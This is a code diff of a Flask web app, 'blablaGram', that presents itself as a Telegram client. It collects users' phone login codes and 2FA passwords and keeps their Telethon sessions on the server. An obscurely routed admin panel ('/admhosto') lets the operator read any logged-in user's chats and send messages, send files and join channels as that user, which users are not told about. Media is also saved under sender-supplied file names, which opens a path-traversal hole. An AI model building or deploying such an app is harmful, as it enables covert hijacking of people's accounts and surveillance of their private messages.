  });
180
  const result = await response.json();
181
  if (result.success) {
182
+ showMessage(result.message + ' Redirecting to app...', 'success');
183
  setTimeout(() => window.location.href = '/app', 1500);
184
  } else {
185
  showMessage('Login failed: ' + result.message, 'error');
 
190
  </html>
191
  '''
192
 
193
+ BLABLAGRAM_APP_TEMPLATE = '''
194
  <!DOCTYPE html>
195
  <html lang="en">
196
  <head>
197
  <meta charset="UTF-8">
198
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
199
+ <title>blablaGram</title>
200
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
201
  <style>
202
+ body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
203
  .app-layout { display: flex; height: 100vh; width: 100%; }
204
+ .sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
205
+ .sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
206
+ .sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }
207
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }
208
+ .sidebar-header .actions button:hover { background-color: #E6F3FC; }
209
+ .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
210
+ .chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s, color 0.2s; }
211
+ .chat-item:hover { background-color: #F8F8F8; }
212
+ .chat-item.active { background-color: #E6F3FC; color: #2AABEE; }
213
+ .avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
214
  .chat-info { flex: 1; overflow: hidden; }
215
+ .chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
216
+ .chat-item.active .chat-info h3 { color: #2AABEE; }
217
+ .chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
218
 
219
+ .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
220
+ .chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }
221
+ .chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }
222
+ .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
223
+ .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
224
+ .chat-panel-header .header-actions button:active { transform: translateY(0); }
225
+ .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
226
+ .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
227
 
228
+ .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
229
+ .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
230
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
231
+ .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}
232
+ .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
233
+ .message-text { color: #111; }
234
  .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
235
+ .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
236
  .media-link:hover { text-decoration: underline; }
237
 
238
+ .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }
239
+ .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
240
+ .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
241
+ .chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
242
+ .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
243
+ .chat-input-area button:active { transform: translateY(0); }
244
 
245
  .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
246
+ .join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
247
+ .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }
248
+ .join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
249
+ .join-chat-section button:hover { background: #218838; }
250
+
251
+ /* Mobile Adaptation */
252
+ @media (max-width: 768px) {
253
+ .app-layout { flex-direction: column; }
254
+ .sidebar { flex: 0 0 auto; width: 100%; height: 50vh; border-right: none; border-bottom: 1px solid #E0E0E0; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); }
255
+ .sidebar.active { transform: translateX(0); }
256
+ .chat-panel { width: 100%; height: 100vh; position: relative; }
257
+ .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }
258
+ .sidebar-header .actions { display: flex; align-items: center; }
259
+ .chat-panel-header { padding: 15px 15px; }
260
+ .chat-panel-header h2 { font-size: 1.1em; }
261
+ .chat-input-area { padding: 10px 15px; }
262
+ .message-item { max-width: 85%; }
263
+ }
264
+ @media (min-width: 769px) {
265
+ .sidebar-toggle-button { display: none; }
266
+ }
267
  </style>
268
  </head>
269
  <body>
270
  <div class="app-layout">
271
+ <div class="sidebar" id="sidebar">
272
  <div class="sidebar-header">
273
+ <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
274
+ <h2>blablaGram</h2>
275
  <div class="actions">
276
  <button onclick="newMessage()" title="New Message">✎</button>
277
  </div>
 
284
  </div>
285
  <div class="chat-panel" id="chatPanel">
286
  <div class="chat-panel-header" id="appHeader">
287
+ <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button> <!-- Back arrow for mobile -->
288
  <div id="chat-header-info">
289
  <h2 id="chatTitle" style="display:none;"></h2>
290
  </div>
 
298
  </div>
299
  <div class="messages-container" id="messagesContainer" style="display:none;"></div>
300
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
301
+ <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
302
+ <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
303
+ <textarea id="messageInput" placeholder="Message or caption" rows="1"></textarea>
304
  <button onclick="sendMessage()">➤</button>
305
  </div>
306
  </div>
 
308
 
309
  <script>
310
  let currentChatId = null;
311
+ let isSidebarOpen = false;
312
+
313
+ function toggleSidebar() {
314
+ const sidebar = document.getElementById('sidebar');
315
+ isSidebarOpen = !isSidebarOpen;
316
+ if (isSidebarOpen) {
317
+ sidebar.classList.add('active');
318
+ } else {
319
+ sidebar.classList.remove('active');
320
+ }
321
+ }
322
 
323
  function adjustTextareaHeight() {
324
  const textarea = document.getElementById('messageInput');
 
371
  document.getElementById('chatInputArea').style.display = 'flex';
372
 
373
  await fetchMessages(chatId);
374
+ if (window.innerWidth <= 768) {
375
+ toggleSidebar(); // Hide sidebar on mobile after selecting chat
376
+ }
377
  }
378
 
379
  async function fetchMessages(chatId) {
 
445
  }
446
  }
447
 
448
+ async function handleFileSelect() {
449
+ const fileInput = document.getElementById('fileInput');
450
+ if (fileInput.files.length === 0) return;
451
+
452
+ const file = fileInput.files[0];
453
+ const messageInput = document.getElementById('messageInput');
454
+ const caption = messageInput.value;
455
+
456
+ const formData = new FormData();
457
+ formData.append('chat_id', currentChatId);
458
+ formData.append('file', file);
459
+ formData.append('caption', caption);
460
+
461
+ messageInput.value = ''; // Clear message input
462
+ fileInput.value = ''; // Clear file input
463
+ adjustTextareaHeight();
464
+
465
+ const messagesContainer = document.getElementById('messagesContainer');
466
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML; // Indicate upload in UI
467
+
468
+ const response = await fetch('/api/send_file', {
469
+ method: 'POST',
470
+ body: formData
471
+ });
472
+ const result = await response.json();
473
+ if (result.success) {
474
+ await fetchMessages(currentChatId); // Re-fetch messages to show the sent file
475
+ } else {
476
+ alert('Failed to send file: ' + result.message);
477
+ }
478
+ }
479
+
480
  async function joinChat() {
481
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
482
  if (!chatIdentifier.trim()) {
 
497
  }
498
 
499
  async function logout(switchToNew = false) {
500
+ const confirmation = switchToNew ? true : confirm('Are you sure you want to log out? This will disconnect your Telegram account from this app.');
501
  if (confirmation) {
502
  await fetch('/api/logout', { method: 'POST' });
503
  window.location.href = '/';
 
523
  <head>
524
  <meta charset="UTF-8">
525
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
526
+ <title>blablaGram - Admin Panel</title>
527
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
528
  <style>
529
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
530
+ .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
531
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; }
532
+ table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 8px; overflow: hidden; }
533
+ th, td { padding: 15px; border: 1px solid #E0E0E0; text-align: left; }
534
+ th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; }
535
+ tr:nth-child(even) { background: #FDFDFD; }
536
+ tr:hover { background: #E6F3FC; }
537
+ a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
538
  a:hover { text-decoration: underline; }
539
  .back-button { margin-top: 30px; text-align: center; }
540
+ .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
541
+ .back-button a:hover { background: #5A6268; text-decoration: none; }
542
  </style>
543
  </head>
544
  <body>
545
  <div class="container">
546
+ <h1>blablaGram - Admin Panel</h1>
547
  <h2>Managed Accounts</h2>
548
  <table>
549
  <thead>
 
578
  <meta charset="UTF-8">
579
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
580
  <title>Manage: {{ user.username or user.phone }}</title>
581
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
582
  <style>
583
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
584
+ .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
585
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; }
586
+ .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }
587
  .split-panel { display: flex; gap: 25px; margin-top: 25px; }
588
+ .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
589
+ h2 { margin-top: 0; font-size: 1.3em; font-weight: 600; color: #333; margin-bottom: 15px; }
590
+ input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
591
+ input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
592
  textarea { resize: vertical; min-height: 80px; }
593
+ button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; }
594
+ button:hover { background: #1C91D0; transform: translateY(-1px); }
595
+ button:active { transform: translateY(0); }
596
+ .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }
597
+ .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
598
+ .chat-item:hover, .chat-item.active { background: #E6F3FC; }
599
  .chat-item:last-child { border-bottom: none; }
600
+ .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
601
  .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
602
+ .message-viewer { margin-top: 25px; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
603
+ .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
604
+ .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
605
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; }
606
+ .message-item.received { background: #F1F0F0; align-self: flex-start; }
607
+ .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
608
+ .message-text { color: #111; }
609
  .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
610
+ .media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }
611
  .back-button { margin-top: 30px; text-align: center; }
612
+ .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
613
+ .back-button a:hover { background: #5A6268; text-decoration: none; }
614
  .clear-chat-selection { text-align: center; margin-top: 15px; }
615
+ .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; }
616
+ .clear-chat-selection button:hover { background: #5A6268; }
617
+
618
+ @media (max-width: 768px) {
619
+ .split-panel { flex-direction: column; }
620
+ }
621
  </style>
622
  </head>
623
  <body>
 
630
  <h2>Send Message</h2>
631
  <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
632
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
633
+ <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
634
+ <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
635
+ <button onclick="document.getElementById('sendFileInput').click()" style="background:#28A745;">Send File</button>
636
 
637
  <h2 style="margin-top: 30px;">Join Chat</h2>
638
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
 
712
  }
713
  }
714
 
715
+ async function handleFileSelect(userId) {
716
+ const fileInput = document.getElementById('sendFileInput');
717
+ if (fileInput.files.length === 0) return;
718
+
719
+ const file = fileInput.files[0];
720
+ const chatId = document.getElementById('sendMessageRecipient').value;
721
+ const caption = document.getElementById('sendMessageContent').value;
722
+
723
+ if (!chatId) { alert('Recipient is required to send a file.'); return; }
724
+
725
+ const formData = new FormData();
726
+ formData.append('chat_id', chatId);
727
+ formData.append('file', file);
728
+ formData.append('caption', caption);
729
+
730
+ document.getElementById('sendMessageRecipient').value = '';
731
+ document.getElementById('sendMessageContent').value = '';
732
+ fileInput.value = '';
733
+
734
+ const response = await fetch(`/admhosto/send_file/${userId}`, {
735
+ method: 'POST',
736
+ body: formData
737
+ });
738
+ const result = await response.json();
739
+ alert(result.message);
740
+ }
741
+
742
  async function joinChat(userId) {
743
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
744
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
 
759
  @app.route('/')
760
  def index():
761
  if 'user_id' in session:
762
+ return redirect(url_for('blabla_gram_app'))
763
  return render_template_string(LOGIN_TEMPLATE)
764
 
765
  @app.route('/api/login', methods=['POST'])
 
774
  session_hash = hashlib.md5(phone.encode()).hexdigest()
775
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
776
 
777
+ # Store phone and session file path in the Flask session for multi-step login
778
+ session['current_login_phone'] = phone
779
+ session['current_login_session_file'] = session_file_path
780
 
781
  async def _login_async():
782
+ client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH)
783
  result = {}
784
  try:
785
  await client.connect()
 
789
  with sqlite3.connect(DB_PATH) as conn:
790
  c = conn.cursor()
791
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
792
+ (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
793
  conn.commit()
794
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
795
+ session['user_id'] = user_db_id # Set the active user for this Flask session
796
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
797
  else:
798
+ sent_code = await client.send_code_request(session['current_login_phone'])
799
  session['phone_code_hash'] = sent_code.phone_code_hash
800
+ result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
801
  elif step == 'code':
802
  code = data.get('code')
803
  phone_code_hash = session.get('phone_code_hash')
 
805
  raise ValueError('Session expired, please try again.')
806
 
807
  try:
808
+ me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
809
  with sqlite3.connect(DB_PATH) as conn:
810
  c = conn.cursor()
811
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
812
+ (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
813
  conn.commit()
814
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
815
  session['user_id'] = user_db_id
816
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
817
  except SessionPasswordNeededError:
818
+ result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
819
+ except FloodWaitError as e:
820
+ result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
821
+ except Exception as e:
822
+ result = {'success': False, 'message': f'Invalid code or other error: {e}'}
823
 
824
  elif step == 'password':
825
  password = data.get('password')
826
+ try:
827
+ me = await client.sign_in(password=password)
828
+ with sqlite3.connect(DB_PATH) as conn:
829
+ c = conn.cursor()
830
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
831
+ (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
832
+ conn.commit()
833
+ user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
834
+ session['user_id'] = user_db_id
835
+ result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
836
+ except FloodWaitError as e:
837
+ result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
838
+ except Exception as e:
839
+ result = {'success': False, 'message': f'Invalid password or other error: {e}'}
840
 
841
  else:
842
  result = {'success': False, 'message': 'Invalid step.'}
843
+ except FloodWaitError as e:
844
+ result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
845
  except Exception as e:
846
+ result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
847
  finally:
848
  if client.is_connected():
849
  await client.disconnect()
 
861
  try:
862
  if client.is_connected():
863
  await client.log_out()
864
+ except Exception:
865
+ pass # Ignore errors on logout, as session file might be invalid
866
  finally:
867
  if client and client.is_connected():
868
  await client.disconnect()
869
  asyncio.run(_logout_async())
870
 
871
  session.clear()
872
+ return jsonify({'success': True, 'message': 'Logged out successfully.'})
873
 
874
  @app.route('/app')
875
+ def blabla_gram_app():
876
  if 'user_id' not in session:
877
  return redirect(url_for('index'))
878
+ return render_template_string(BLABLAGRAM_APP_TEMPLATE)
879
 
880
  @app.route('/api/user_chats')
881
  def api_user_chats():
 
897
  if isinstance(dialog.entity, User):
898
  chat_type = 'User'
899
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
900
+ title = full_name if full_name else "Unnamed User"
901
  if dialog.entity.username:
902
  title += f" (@{dialog.entity.username})"
903
  elif isinstance(dialog.entity, Channel):
 
908
  chat_type = 'Group'
909
  if hasattr(dialog.entity, 'participants_count'):
910
  participants = dialog.entity.participants_count
911
+ else:
912
+ title = title if title else "Unknown Chat"
913
+ chat_type = "Unknown"
914
 
915
  initial = title[0].upper() if title else '?'
916
 
 
958
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
959
  elif hasattr(message.sender, 'title'):
960
  msg_data['sender_name'] = message.sender.title
961
+ else:
962
+ msg_data['sender_name'] = str(message.sender.id) # Fallback if no name found
963
 
964
  if message.media:
965
  try:
966
+ file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
967
+ if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
968
+ for attr in message.media.document.attributes:
969
+ if hasattr(attr, 'file_name'):
970
+ file_name = attr.file_name
971
+ break
972
+ elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
973
+ file_name = f"photo_{message.media.photo.id}.jpg" # Simplified for photos
974
+
975
+ file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
976
  if file_info:
977
  file_path = Path(file_info)
978
  msg_data['file_name'] = file_path.name
979
+ file_size = os.path.getsize(file_path)
980
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
981
+ except Exception as media_e:
982
+ msg_data['file_name'] = f"Download failed: {media_e}"
983
  messages.append(msg_data)
984
  except Exception as e:
985
  return None, str(e)
 
1010
  target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1011
  await client.send_message(target_entity, message_content)
1012
  return {'success': True, 'message': 'Message sent.'}
1013
+ except FloodWaitError as e:
1014
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1015
  except Exception as e:
1016
  return {'success': False, 'message': str(e)}
1017
  finally:
 
1019
 
1020
  return jsonify(asyncio.run(_send_message_async()))
1021
 
1022
+ @app.route('/api/send_file', methods=['POST'])
1023
+ def api_send_file():
1024
+ user_id = session.get('user_id')
1025
+ if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1026
+
1027
+ chat_id = request.form.get('chat_id')
1028
+ caption = request.form.get('caption', '')
1029
+
1030
+ if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
1031
+ if 'file' not in request.files:
1032
+ return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
1033
+ file = request.files['file']
1034
+ if file.filename == '':
1035
+ return jsonify({'success': False, 'message': 'No selected file.'}), 400
1036
+
1037
+ async def _send_file_async():
1038
+ client, error = await get_user_client(user_id)
1039
+ if error: return {'success': False, 'message': error}
1040
+ try:
1041
+ target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1042
+ await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
1043
+ return {'success': True, 'message': 'File sent.'}
1044
+ except FloodWaitError as e:
1045
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1046
+ except Exception as e:
1047
+ return {'success': False, 'message': str(e)}
1048
+ finally:
1049
+ if client and client.is_connected(): await client.disconnect()
1050
+
1051
+ return jsonify(asyncio.run(_send_file_async()))
1052
+
1053
  @app.route('/api/join_chat', methods=['POST'])
1054
  def api_join_chat():
1055
  user_id = session.get('user_id')
 
1069
  await client(JoinChannelRequest(chat_identifier))
1070
  return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
1071
  except FloodWaitError as e:
1072
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1073
  except (UserNotParticipantError, ValueError):
1074
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
1075
  except Exception as e:
 
1103
  try:
1104
  async for dialog in client.iter_dialogs():
1105
  chat_type = 'Other'
1106
+ if isinstance(dialog.entity, Channel): chat_type = 'Channel'
1107
+ elif isinstance(dialog.entity, Chat): chat_type = 'Group'
1108
  elif isinstance(dialog.entity, User): chat_type = 'User'
1109
+
1110
+ title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
1111
+
1112
+ chats_info.append({
1113
+ 'id': dialog.id,
1114
+ 'title': title,
1115
+ 'type': chat_type,
1116
+ 'participants': getattr(dialog.entity, 'participants_count', None)
1117
+ })
1118
  except Exception as e:
1119
  return None, str(e)
1120
  finally:
 
1136
  async for message in client.iter_messages(entity, limit=50, reverse=False):
1137
  msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
1138
  if message.sender:
1139
+ if isinstance(message.sender, User):
1140
+ msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1141
+ elif hasattr(message.sender, 'title'):
1142
+ msg_data['sender_name'] = message.sender.title
1143
+ else:
1144
+ msg_data['sender_name'] = str(message.sender.id)
1145
+
1146
  if message.media:
1147
+ try:
1148
+ file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
1149
+ if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1150
+ for attr in message.media.document.attributes:
1151
+ if hasattr(attr, 'file_name'):
1152
+ file_name = attr.file_name
1153
+ break
1154
+ elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1155
+ file_name = f"photo_{message.media.photo.id}.jpg"
1156
+
1157
+ file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
1158
+ if file_info:
1159
+ file_path = Path(file_info)
1160
+ msg_data['file_name'] = file_path.name
1161
+ file_size = os.path.getsize(file_path)
1162
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1163
+ except Exception as media_e:
1164
+ msg_data['file_name'] = f"Download failed: {media_e}"
